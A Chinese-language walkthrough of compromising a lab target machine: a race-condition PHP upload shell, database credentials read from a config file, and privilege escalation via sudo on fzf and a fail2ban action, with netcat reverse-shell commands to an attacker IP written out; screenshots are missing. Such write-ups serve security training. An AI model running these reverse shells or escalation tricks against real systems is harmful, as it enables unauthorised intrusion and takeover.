靶机渗透日记

1. 端口

   

2. 访问 80 端口

   

   文件上传功能，上传php文件

   

3. 目录扫描

   

   访问 /uploads 提示 403 ，但是可以访问到上传的文件

4. 再次上传文件

   

   发现延迟了3s，猜测是等待了3s后对文件变更名字，可以尝试在这3s内不断访问该文件

5. 创建脚本，并上传反弹shell

   #!/bin/bash
   while true
   do
           curl "http://192.168.0.139/uploads/shell.php"
   done
   

   成功反弹

   

6. 在 /opt/gancio 目录下存在 config.json ，其中包含数据库的账号密码

   

7. 连接数据库

   

   得到两个密码hash，爆破得到密码 genesis

   

   用户信息

   

8. 切换到connor用户，执行sudo -l

   

   把 fzf 文件下载到本地分析

   

   访问 https://github.com/junegunn/fzf/ ，可以得知 fzf 是一个命令行模糊查找器

   

   _fzf_comprun()函数可以执行命令

   sudo -u john /usr/bin/fzf --preview 'nc 192.168.0.128 4445 -e /bin/bash'
   

   

9. 继续执行sudo -l

   

   **Fail2Ban **是一个入侵检测系统框架，它可以保护电脑服务器免受暴力破解攻击。

   

   创建防火墙规则

   echo "nc 192.168.0.128 4447 -e /bin/bash" > /tmp/iptables
   chmod +x iptables
   

   修改fail2ban的配置文件 /etc/fail2ban/action.d/iptables-common.conf

   

   重新启动 fail2ban

   sudo -u root /usr/bin/systemctl restart fail2ban
   

10. 爆破 ssh ，本地监听 4447 端口